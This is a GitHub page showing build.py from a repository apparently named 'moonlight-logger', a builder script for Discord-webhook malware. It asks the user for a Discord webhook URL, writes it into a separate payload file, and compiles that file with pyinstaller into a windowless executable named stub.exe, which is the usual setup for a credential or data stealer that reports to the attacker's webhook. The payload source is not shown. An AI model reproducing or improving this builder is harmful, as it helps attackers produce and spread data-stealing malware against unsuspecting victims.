-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathbuild.py
More file actions
57 lines (49 loc) Β· 2.85 KB
/
build.py
File metadata and controls
57 lines (49 loc) Β· 2.85 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from os import system, remove, getenv
from os.path import join, exists
from colorama import Fore, init
from shutil import rmtree, copy2
from string import ascii_letters
from random import choice
class Builder:
def showLogo(self) -> None:
print(f"""{Fore.MAGENTA}
ββββ ββββ βββββββ βββββββ ββββ ββββββ βββ βββββββ βββ ββββββββββββ
βββββ ββββββββββββββββββββββββββββ ββββββ βββββββββββ βββ ββββββββββββ
ββββββββββββββ ββββββ βββββββββ ββββββ ββββββ ββββββββββββ βββ
ββββββββββββββ ββββββ ββββββββββββββββ ββββββ βββββββββββ βββ
βββ βββ ββββββββββββββββββββββββ βββββββββββββββββββββββββββββ βββ βββ
βββ βββ βββββββ βββββββ βββ ββββββββββββββββ βββββββ βββ βββ βββ
Moonlight V1 | Github URL: https://github.com/unnulled/moonlight-logger\n""".replace("β", f"{Fore.WHITE}β{Fore.MAGENTA}"))
def buildSequence(self) -> None:
system("cls")
self.showLogo()
webhook = input(
f"{Fore.MAGENTA}[{Fore.WHITE}MOONLIGHT{Fore.MAGENTA}] Your Discord Webhook {Fore.WHITE}>{Fore.MAGENTA} ")
buildId = ''.join(choice(ascii_letters) for i in range(10))
srcFile = open("./src/payload.py", "r")
srcCode = srcFile.read()
updatedSrcCode = srcCode.replace("%WEBHOOK_URL%", webhook)
srcFile.close()
newSrcFilePath = join(self.TEMP, f"{buildId}.py")
newSrcFile = open(newSrcFilePath, "w")
newSrcFile.write(updatedSrcCode)
newSrcFile.close()
system(f"pyinstaller --onefile --noconsole {newSrcFilePath}")
remove(f"{buildId}.spec")
remove(newSrcFilePath)
rmtree("build")
if exists("stub.exe"):
remove("stub.exe")
copy2(f"./dist/{buildId}.exe", "./stub.exe")
rmtree("dist")
system("cls")
print(
f"Built successfully! Press {Fore.MAGENTA}[{Fore.WHITE}ENTER{Fore.MAGENTA}] to build another")
input()
def __init__(self) -> None:
self.TEMP = getenv("TEMP")
init()
system("cls && title moonlight")
while True:
self.buildSequence()
Builder()